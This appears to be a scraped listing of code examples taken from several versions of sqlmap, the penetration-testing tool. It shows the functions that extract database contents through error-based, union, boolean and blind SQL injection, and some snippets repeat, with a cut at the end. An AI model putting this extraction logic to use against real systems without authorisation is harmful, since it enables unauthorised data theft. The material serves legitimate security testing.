Example #1
0
def goError(expression, suppressOutput=False, returnPayload=False):
    """
    Retrieve the output of a SQL query taking advantage of an error-based
    SQL injection vulnerability on the affected parameter.
    """

    result = None

    if suppressOutput:
        pushValue(conf.verbose)
        conf.verbose = 0

    if conf.direct:
        return direct(expression), None

    condition = (
                  kb.resumedQueries and conf.url in kb.resumedQueries.keys()
                  and expression in kb.resumedQueries[conf.url].keys()
                )

    if condition:
        result = resume(expression, None)

    if not result:
        result = errorUse(expression, returnPayload)

        if not returnPayload:
            dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(result)))

    if suppressOutput:
        conf.verbose = popValue()

    return result
Example #2
0
def __goInband(expression, expected=None):
    """
    Retrieve the output of a SQL query taking advantage of an inband SQL
    injection vulnerability on the affected parameter.
    """

    output  = None
    partial = False
    data    = []

    condition = (
                  kb.resumedQueries and conf.url in kb.resumedQueries.keys()
                  and expression in kb.resumedQueries[conf.url].keys()
                )

    if condition:
        output = resume(expression, None)

        if not output or ( expected == "int" and not output.isdigit() ):
            partial = True

    if not output:
        output = unionUse(expression, resetCounter=True)

    if output:
        data = parseUnionPage(output, expression, partial, condition)

    return data
Example #3
0
def __goInferenceFields(expression,
                        expressionFields,
                        expressionFieldsList,
                        payload,
                        expected=None):
    outputs = []

    for field in expressionFieldsList:
        output = None

        expressionReplaced = expression.replace(expressionFields, field, 1)
        output = resume(expressionReplaced, payload)

        if not output or (expected == "int" and not output.isdigit()):
            if output:
                warnMsg = "expected value type %s, resumed '%s', " % (expected,
                                                                      output)
                warnMsg += "sqlmap is going to retrieve the value again"
                logger.warn(warnMsg)

            output = __goInference(payload, expressionReplaced)

        outputs.append(output)

    return outputs
Example #4
0
def __goBooleanProxy(expression, resumeValue=True):
    """
    Retrieve the output of a boolean based SQL query
    """

    initTechnique(kb.technique)

    vector = kb.injection.data[kb.technique].vector
    vector = vector.replace("[INFERENCE]", expression)
    query = agent.prefixQuery(vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME,
                                        PAYLOAD.TECHNIQUE.STACKED)

    if resumeValue:
        output = resume(expression, payload)
    else:
        output = None

    if not output:
        output = Request.queryPage(payload,
                                   timeBasedCompare=timeBasedCompare,
                                   raise404=False)

    return output
Example #5
0
def __goInband(expression,
               expected=None,
               sort=True,
               resumeValue=True,
               unpack=True,
               dump=False):
    """
    Retrieve the output of a SQL query taking advantage of an inband SQL
    injection vulnerability on the affected parameter.
    """

    output = None
    partial = False
    data = []

    if resumeValue:
        output = resume(expression, None)

        if not output or (output and
                          (expected == EXPECTED.INT and not output.isdigit())):
            partial = True

    if output is None:
        output = unionUse(expression, unpack=unpack, dump=dump)

    if output:
        data = parseUnionPage(output, expression, partial, None, sort)

    return data
Example #6
0
def __goInband(expression, expected=None):
    """
    Retrieve the output of a SQL query taking advantage of an inband SQL
    injection vulnerability on the affected parameter.
    """

    output = None
    partial = False
    data = []

    condition = (kb.resumedQueries and conf.url in kb.resumedQueries.keys()
                 and expression in kb.resumedQueries[conf.url].keys())

    if condition:
        output = resume(expression, None)

        if not output or (expected == "int" and not output.isdigit()):
            partial = True

    if not output:
        output = unionUse(expression, resetCounter=True)

    if output:
        data = parseUnionPage(output, expression, partial, condition)

    return data
Example #7
0
def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None, resumeValue=True):
    outputs = []
    origExpr = None

    threadData = getCurrentThreadData()

    for field in expressionFieldsList:
        output = None

        if field.startswith("ROWNUM "):
            continue

        if isinstance(num, int):
            origExpr = expression
            expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])

        if "ROWNUM" in expressionFieldsList:
            expressionReplaced = expression
        else:
            expressionReplaced = expression.replace(expressionFields, field, 1)

        if resumeValue:
            output = resume(expressionReplaced, None)

        if not output or (expected == EXPECTED.INT and not output.isdigit()):
            if output:
                warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
                warnMsg += "sqlmap is going to retrieve the value again"
                logger.warn(warnMsg)

            output = __oneShotErrorUse(expressionReplaced, field)

            if not kb.threadContinue:
                return None

            if output is not None:
                kb.locks.ioLock.acquire()
                dataToStdout(
                    "[%s] [INFO] %s: %s\r\n"
                    % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(output))
                )
                kb.locks.ioLock.release()

        if isinstance(num, int):
            expression = origExpr

        outputs.append(output)

    return outputs
Example #8
0
def __errorFields(expression,
                  expressionFields,
                  expressionFieldsList,
                  expected=None,
                  num=None,
                  resumeValue=True):
    outputs = []
    origExpr = None

    for field in expressionFieldsList:
        output = None

        if field.startswith("ROWNUM "):
            continue

        if isinstance(num, int):
            origExpr = expression
            expression = agent.limitQuery(num, expression, field,
                                          expressionFieldsList[0])

        if "ROWNUM" in expressionFieldsList:
            expressionReplaced = expression
        else:
            expressionReplaced = expression.replace(expressionFields, field, 1)

        if resumeValue:
            output = resume(expressionReplaced, None)

        if not output or (expected == EXPECTED.INT and not output.isdigit()):
            if output:
                warnMsg = "expected value type %s, resumed '%s', " % (expected,
                                                                      output)
                warnMsg += "sqlmap is going to retrieve the value again"
                logger.warn(warnMsg)

            output = __oneShotErrorUse(expressionReplaced, field)

            if output is not None:
                dataToStdout("[%s] [INFO] retrieved: %s\n" %
                             (time.strftime("%X"),
                              replaceNewlineTabs(output, stdout=True)))

        if isinstance(num, int):
            expression = origExpr

        outputs.append(output)

    return outputs
Example #9
0
def __goInferenceFields(expression,
                        expressionFields,
                        expressionFieldsList,
                        payload,
                        expected=None,
                        num=None,
                        resumeValue=True,
                        charsetType=None,
                        firstChar=None,
                        lastChar=None,
                        dump=False):
    outputs = []
    origExpr = None

    for field in expressionFieldsList:
        output = None

        if field.startswith("ROWNUM "):
            continue

        if isinstance(num, int):
            origExpr = expression
            expression = agent.limitQuery(num, expression, field)

        if "ROWNUM" in expressionFieldsList:
            expressionReplaced = expression
        else:
            expressionReplaced = expression.replace(expressionFields, field, 1)

        if resumeValue:
            output = resume(expressionReplaced, payload)

        if not output or (expected == EXPECTED.INT and not output.isdigit()):
            if output:
                warnMsg = "expected value type %s, resumed '%s', " % (expected,
                                                                      output)
                warnMsg += "sqlmap is going to retrieve the value again"
                logger.warn(warnMsg)

            output = __goInference(payload, expressionReplaced, charsetType,
                                   firstChar, lastChar, dump)

        if isinstance(num, int):
            expression = origExpr

        outputs.append(output)

    return outputs
Example #10
0
def __goInferenceFields(
    expression,
    expressionFields,
    expressionFieldsList,
    payload,
    expected=None,
    num=None,
    resumeValue=True,
    charsetType=None,
    firstChar=None,
    lastChar=None,
):
    outputs = []
    origExpr = None

    for field in expressionFieldsList:
        output = None

        if field.startswith("ROWNUM "):
            continue

        if isinstance(num, int):
            origExpr = expression
            expression = agent.limitQuery(num, expression, field)

        if "ROWNUM" in expressionFieldsList:
            expressionReplaced = expression
        else:
            expressionReplaced = expression.replace(expressionFields, field, 1)

        if resumeValue:
            output = resume(expressionReplaced, payload)

        if not output or (expected == "int" and not output.isdigit()):
            if output:
                warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
                warnMsg += "sqlmap is going to retrieve the value again"
                logger.warn(warnMsg)

            output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar)

        if isinstance(num, int):
            expression = origExpr

        outputs.append(output)

    return outputs
Example #11
0
                def unionThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        kb.locks.limits.acquire()
                        try:
                            num = threadData.shared.limits.next()
                        except StopIteration:
                            break
                        finally:
                            kb.locks.limits.release()

                        if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                            field = expressionFieldsList[0]
                        elif Backend.isDbms(DBMS.ORACLE):
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = resume(limitedExpr, None)

                        if not output:
                            output = __oneShotUnionUse(limitedExpr, unpack, True)

                        if not kb.threadContinue:
                            break

                        if output:
                            if all(map(lambda x: x in output, [kb.chars.start, kb.chars.stop])):
                                items = extractRegexResult(r'%s(?P<result>.*?)%s' % (kb.chars.start, kb.chars.stop), output, re.DOTALL | re.IGNORECASE).split(kb.chars.delimiter)
                                kb.locks.value.acquire()
                                threadData.shared.value.append(items[0] if len(items) == 1 else items)
                                kb.locks.value.release()
                            else:
                                items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)

                            if conf.verbose == 1:
                                status = "[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join(map(lambda x: "\"%s\"" % x, items))))

                                if len(status) > width:
                                    status = "%s..." % status[:width - 3]

                                kb.locks.ioLock.acquire()
                                dataToStdout(status, True)
                                kb.locks.ioLock.release()
Example #12
0
def __goError(expression, expected=None, resumeValue=True, dump=False):
    """
    Retrieve the output of a SQL query taking advantage of an error-based
    SQL injection vulnerability on the affected parameter.
    """

    output = None

    if resumeValue:
        output = resume(expression, None)

        if output and expected == EXPECTED.INT and not output.isdigit():
            output = None

    if output is None:
        output = errorUse(expression, expected, resumeValue, dump)

    return output
Example #13
0
def __goError(expression, expected=None, resumeValue=True, dump=False):
    """
    Retrieve the output of a SQL query taking advantage of an error-based
    SQL injection vulnerability on the affected parameter.
    """

    output = None

    if resumeValue:
        output = resume(expression, None)

        if output and expected == EXPECTED.INT and not output.isdigit():
            output = None

    if output is None:
        output = errorUse(expression, expected, resumeValue, dump)

    return output
Example #14
0
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None):
    outputs = []

    for field in expressionFieldsList:
        output = None

        expressionReplaced = expression.replace(expressionFields, field, 1)
        output = resume(expressionReplaced, payload)

        if not output or ( expected == "int" and not output.isdigit() ):
            if output:
                warnMsg  = "expected value type %s, resumed '%s', " % (expected, output)
                warnMsg += "sqlmap is going to retrieve the value again"
                logger.warn(warnMsg)

            output = __goInference(payload, expressionReplaced)

        outputs.append(output)

    return outputs
Example #15
0
def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None, resumeValue=True):
    outputs = []
    origExpr = None

    for field in expressionFieldsList:
        output = None

        if field.startswith("ROWNUM "):
            continue

        if isinstance(num, int):
            origExpr = expression
            expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])

        if "ROWNUM" in expressionFieldsList:
            expressionReplaced = expression
        else:
            expressionReplaced = expression.replace(expressionFields, field, 1)

        if resumeValue:
            output = resume(expressionReplaced, None)

        if not output or (expected == EXPECTED.INT and not output.isdigit()):
            if output:
                warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
                warnMsg += "sqlmap is going to retrieve the value again"
                logger.warn(warnMsg)

            output = __oneShotErrorUse(expressionReplaced, field)

            if output is not None:
                dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), replaceNewlineTabs(output, stdout=True)))

        if isinstance(num, int):
            expression = origExpr

        outputs.append(output)

    return outputs
Example #16
0
def __goBooleanProxy(expression, resumeValue=True):
    """
    Retrieve the output of a boolean based SQL query
    """

    initTechnique(kb.technique)

    vector = kb.injection.data[kb.technique].vector
    vector = vector.replace("[INFERENCE]", expression)
    query = agent.prefixQuery(vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)

    if resumeValue:
        output = resume(expression, payload)
    else:
        output = None

    if not output:
        output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False)

    return output
Example #17
0
def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True, dump=False):
    """
    Retrieve the output of a SQL query taking advantage of an inband SQL
    injection vulnerability on the affected parameter.
    """

    output = None
    partial = False
    data = []

    if resumeValue:
        output = resume(expression, None)

        if not output or (output and (expected == EXPECTED.INT and not output.isdigit())):
            partial = True

    if output is None:
        output = unionUse(expression, unpack=unpack, dump=dump)

    if output:
        data = parseUnionPage(output, expression, partial, None, sort)

    return data
Example #18
0
def unionUse(expression, unpack=True, dump=False):
    """
    This function tests for an inband SQL injection on the target
    url then call its subsidiary function to effectively perform an
    inband SQL injection on the affected url
    """

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    global reqCount

    count = None
    origExpr = expression
    startLimit = 0
    stopLimit = None
    test = True
    value = ""
    reqCount = 0
    width = getConsoleWidth()
    start = time.time()

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)

    # We have to check if the SQL query might return multiple entries
    # and in such case forge the SQL limiting the query output one
    # entry per time
    # NOTE: I assume that only queries that get data from a table can
    # return multiple entries
    if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
       (dump and (conf.limitStart or conf.limitStop))) and \
       " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
       not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE \
       and not expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
       and not re.search(SQL_SCALAR_REGEX, expression, re.I):

        limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
        topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)

        if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                if limitGroupStart.isdigit():
                    startLimit = int(limitRegExp.group(int(limitGroupStart)))

                stopLimit = limitRegExp.group(int(limitGroupStop))
                limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if limitRegExp:
                    limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                    limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif topLimit:
                    startLimit = 0
                    stopLimit = int(topLimit.group(1))
                    limitCond = int(stopLimit) > 1

            elif Backend.isDbms(DBMS.ORACLE):
                limitCond = False
        else:
            limitCond = True

        # I assume that only queries NOT containing a "LIMIT #, 1"
        # (or similar depending on the back-end DBMS) can return
        # multiple entries
        if limitCond:
            if limitRegExp:
                stopLimit = int(stopLimit)

                # From now on we need only the expression until the " LIMIT "
                # (or similar, depending on the back-end DBMS) word
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    stopLimit += startLimit
                    untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
                    expression = expression[:untilLimitChar]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    stopLimit += startLimit
            elif dump:
                if conf.limitStart:
                    startLimit = conf.limitStart - 1
                if conf.limitStop:
                    stopLimit = conf.limitStop

            # Count the number of SQL query entries output
            countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1)

            if re.search(" ORDER BY ", expression, re.I):
                untilOrderChar = countedExpression.index(" ORDER BY ")
                countedExpression = countedExpression[:untilOrderChar]

            count = resume(countedExpression, None)
            count = parseUnionPage(count, countedExpression)

            if not count or not count.isdigit():
                output = __oneShotUnionUse(countedExpression, unpack)

                if output:
                    count = parseUnionPage(output, countedExpression)

            if isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "the SQL query used returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

            elif count and not count.isdigit():
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the SQL query provided. "
                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1

            elif (not count or int(count) == 0):
                warnMsg = "the SQL query provided does not "
                warnMsg += "return any output"
                logger.warn(warnMsg)

                return value

            threadData = getCurrentThreadData()
            threadData.shared.limits = iter(xrange(startLimit, stopLimit))
            numThreads = min(conf.threads, (stopLimit - startLimit))
            threadData.shared.value = BigArray()

            if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
                kb.suppressResumeInfo = True
                debugMsg = "suppressing possible resume console info because of "
                debugMsg += "large number of rows. It might take too long"
                logger.debug(debugMsg)

            lockNames = ('limits', 'value')
            for lock in lockNames:
                kb.locks[lock] = threading.Lock()

            try:
                def unionThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        kb.locks.limits.acquire()
                        try:
                            num = threadData.shared.limits.next()
                        except StopIteration:
                            break
                        finally:
                            kb.locks.limits.release()

                        if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                            field = expressionFieldsList[0]
                        elif Backend.isDbms(DBMS.ORACLE):
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = resume(limitedExpr, None)

                        if not output:
                            output = __oneShotUnionUse(limitedExpr, unpack, True)

                        if not kb.threadContinue:
                            break

                        if output:
                            if all(map(lambda x: x in output, [kb.chars.start, kb.chars.stop])):
                                items = extractRegexResult(r'%s(?P<result>.*?)%s' % (kb.chars.start, kb.chars.stop), output, re.DOTALL | re.IGNORECASE).split(kb.chars.delimiter)
                                kb.locks.value.acquire()
                                threadData.shared.value.append(items[0] if len(items) == 1 else items)
                                kb.locks.value.release()
                            else:
                                items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)

                            if conf.verbose == 1:
                                status = "[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join(map(lambda x: "\"%s\"" % x, items))))

                                if len(status) > width:
                                    status = "%s..." % status[:width - 3]

                                kb.locks.ioLock.acquire()
                                dataToStdout(status, True)
                                kb.locks.ioLock.release()

                runThreads(numThreads, unionThread)

                if conf.verbose == 1:
                    clearConsoleLine(True)

            except KeyboardInterrupt:
                warnMsg = "user aborted during enumeration. sqlmap "
                warnMsg += "will display partial output"
                logger.warn(warnMsg)

            finally:
                value = threadData.shared.value
                kb.suppressResumeInfo = False

    if not value:
        expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) # full inband doesn't play well with ORDER BY
        value = __oneShotUnionUse(expression, unpack)

    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
        logger.debug(debugMsg)

    return value
Example #19
0
def errorUse(expression, expected=None, resumeValue=True, dump=False):
    """
    Retrieve the output of a SQL query taking advantage of the error-based
    SQL injection vulnerability on the affected parameter.
    """

    initTechnique(PAYLOAD.TECHNIQUE.ERROR)

    global reqCount

    count = None
    start = time.time()
    startLimit = 0
    stopLimit = None
    outputs = []
    untilLimitChar = None
    untilOrderChar = None
    reqCount = 0

    if resumeValue:
        output = resume(expression, None)
    else:
        output = None

    if output and (expected is None or
                   (expected == EXPECTED.INT and output.isdigit())):
        return output

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
        expression)

    # We have to check if the SQL query might return multiple entries
    # and in such case forge the SQL limiting the query output one
    # entry per time
    # NOTE: I assume that only queries that get data from a table can
    # return multiple entries
    if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
       expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_TABLE) \
       or (Backend.getIdentifiedDbms() in FROM_TABLE and not \
       expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
       and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
       and not any(map(lambda x: x in expression.upper(), ["COUNT(*)", "EXISTS(", "MAX(", "MIN(", "COUNT(DISTINCT"])):

        limitRegExp = re.search(
            queries[Backend.getIdentifiedDbms()].limitregexp.query, expression,
            re.I)
        topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)

        if limitRegExp or (Backend.getIdentifiedDbms()
                           in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                limitGroupStart = queries[
                    Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[
                    Backend.getIdentifiedDbms()].limitgroupstop.query

                if limitGroupStart.isdigit():
                    startLimit = int(limitRegExp.group(int(limitGroupStart)))

                stopLimit = limitRegExp.group(int(limitGroupStop))
                limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if limitRegExp:
                    limitGroupStart = queries[
                        Backend.getIdentifiedDbms()].limitgroupstart.query
                    limitGroupStop = queries[
                        Backend.getIdentifiedDbms()].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(
                            limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1
                elif topLimit:
                    startLimit = 0
                    stopLimit = int(topLimit.group(1))
                    limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
                limitCond = False
        else:
            limitCond = True

        # I assume that only queries NOT containing a "LIMIT #, 1"
        # (or similar depending on the back-end DBMS) can return
        # multiple entries
        if limitCond:
            if limitRegExp:
                stopLimit = int(stopLimit)

                # From now on we need only the expression until the " LIMIT "
                # (or similar, depending on the back-end DBMS) word
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    stopLimit += startLimit
                    untilLimitChar = expression.index(
                        queries[Backend.getIdentifiedDbms()].limitstring.query)
                    expression = expression[:untilLimitChar]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    stopLimit += startLimit
            elif dump:
                if conf.limitStart:
                    startLimit = conf.limitStart
                if conf.limitStop:
                    stopLimit = conf.limitStop

            # Count the number of SQL query entries output
            countedExpression = expression.replace(expressionFields,
                                                   "COUNT(*)", 1)

            if re.search(" ORDER BY ", expression, re.I):
                untilOrderChar = countedExpression.index(" ORDER BY ")
                countedExpression = countedExpression[:untilOrderChar]

            count = resume(countedExpression, None)

            if not count or not count.isdigit():
                _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(
                    countedExpression)
                count = __oneShotErrorUse(countedExpression,
                                          countedExpressionFields)

            if (not count or (count.isdigit() and int(count) == 0)):
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the used SQL query. "
                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1
            elif isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "the SQL query used returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

            try:
                for num in xrange(startLimit, stopLimit):
                    output = __errorFields(expression, expressionFields,
                                           expressionFieldsList, expected, num,
                                           resumeValue)

                    if output and isinstance(output,
                                             list) and len(output) == 1:
                        output = output[0]

                    outputs.append(output)

            except KeyboardInterrupt:
                print
                warnMsg = "user aborted during enumeration. sqlmap "
                warnMsg += "will display partial output"
                logger.warn(warnMsg)

    if not outputs:
        outputs = __errorFields(expression, expressionFields,
                                expressionFieldsList)

    if outputs and isinstance(outputs,
                              list) and len(outputs) == 1 and isinstance(
                                  outputs[0], basestring):
        outputs = outputs[0]

    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
        logger.debug(debugMsg)

    return outputs
Example #20
0
def __goInferenceProxy(expression,
                       fromUser=False,
                       expected=None,
                       batch=False,
                       resumeValue=True,
                       unpack=True,
                       charsetType=None,
                       firstChar=None,
                       lastChar=None,
                       dump=False):
    """
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """

    initTechnique(kb.technique)

    query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    count = None
    startLimit = 0
    stopLimit = None
    outputs = []
    test = None
    untilLimitChar = None
    untilOrderChar = None

    if resumeValue:
        output = resume(expression, payload)
    else:
        output = None

    if output and (expected is None or
                   (expected == EXPECTED.INT and output.isdigit())):
        return output

    if not unpack:
        return __goInference(payload, expression, charsetType, firstChar,
                             lastChar, dump)

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
        expression)

    rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
    if rdbRegExp and Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
        expressionFieldsList = [expressionFields]

    if len(expressionFieldsList) > 1:
        infoMsg = "the SQL query provided has more than a field. "
        infoMsg += "sqlmap will now unpack it into distinct queries "
        infoMsg += "to be able to retrieve the output even if we "
        infoMsg += "are going blind"
        logger.info(infoMsg)

    # If we have been here from SQL query/shell we have to check if
    # the SQL query might return multiple entries and in such case
    # forge the SQL limiting the query output one entry per time
    # NOTE: I assume that only queries that get data from a table
    # can return multiple entries
    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
      not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE and not \
      expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))):

        limitRegExp = re.search(
            queries[Backend.getIdentifiedDbms()].limitregexp.query, expression,
            re.I)
        topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)

        if limitRegExp or (Backend.getIdentifiedDbms()
                           in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                limitGroupStart = queries[
                    Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[
                    Backend.getIdentifiedDbms()].limitgroupstop.query

                if limitGroupStart.isdigit():
                    startLimit = int(limitRegExp.group(int(limitGroupStart)))

                stopLimit = limitRegExp.group(int(limitGroupStop))
                limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if limitRegExp:
                    limitGroupStart = queries[
                        Backend.getIdentifiedDbms()].limitgroupstart.query
                    limitGroupStop = queries[
                        Backend.getIdentifiedDbms()].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(
                            limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1
                elif topLimit:
                    startLimit = 0
                    stopLimit = int(topLimit.group(1))
                    limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
                limitCond = False
        else:
            limitCond = True

        # I assume that only queries NOT containing a "LIMIT #, 1"
        # (or similar depending on the back-end DBMS) can return
        # multiple entries
        if limitCond:
            if limitRegExp:
                stopLimit = int(stopLimit)

                # From now on we need only the expression until the " LIMIT "
                # (or similar, depending on the back-end DBMS) word
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    stopLimit += startLimit
                    untilLimitChar = expression.index(
                        queries[Backend.getIdentifiedDbms()].limitstring.query)
                    expression = expression[:untilLimitChar]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    stopLimit += startLimit

            if not stopLimit or stopLimit <= 1:
                if Backend.getIdentifiedDbms(
                ) in FROM_TABLE and expression.upper().endswith(
                        FROM_TABLE[Backend.getIdentifiedDbms()]):
                    test = False
                else:
                    test = True

            if test:
                # Count the number of SQL query entries output
                countFirstField = queries[Backend.getIdentifiedDbms(
                )].count.query % expressionFieldsList[0]
                countedExpression = expression.replace(expressionFields,
                                                       countFirstField, 1)

                if re.search(" ORDER BY ", expression, re.I):
                    untilOrderChar = countedExpression.index(" ORDER BY ")
                    countedExpression = countedExpression[:untilOrderChar]

                if resumeValue:
                    count = resume(countedExpression, payload)

                if not stopLimit:
                    if not count or not count.isdigit():
                        count = __goInference(payload, countedExpression, 2,
                                              firstChar, lastChar)

                    if isNumPosStrValue(count):
                        count = int(count)

                        if batch:
                            stopLimit = count
                        else:
                            message = "the SQL query provided can return "
                            message += "%d entries. How many " % count
                            message += "entries do you want to retrieve?\n"
                            message += "[a] All (default)\n[#] Specific number\n"
                            message += "[q] Quit"
                            test = readInput(message, default="a")

                            if not test or test[0] in ("a", "A"):
                                stopLimit = count

                            elif test[0] in ("q", "Q"):
                                raise sqlmapUserQuitException

                            elif test.isdigit(
                            ) and int(test) > 0 and int(test) <= count:
                                stopLimit = int(test)

                                infoMsg = "sqlmap is now going to retrieve the "
                                infoMsg += "first %d query output entries" % stopLimit
                                logger.info(infoMsg)

                            elif test[0] in ("#", "s", "S"):
                                message = "how many? "
                                stopLimit = readInput(message, default="10")

                                if not stopLimit.isdigit():
                                    errMsg = "invalid choice"
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = "invalid choice"
                                logger.error(errMsg)

                                return None

                    elif count and not count.isdigit():
                        warnMsg = "it was not possible to count the number "
                        warnMsg += "of entries for the SQL query provided. "
                        warnMsg += "sqlmap will assume that it returns only "
                        warnMsg += "one entry"
                        logger.warn(warnMsg)

                        stopLimit = 1

                    elif (not count or int(count) == 0):
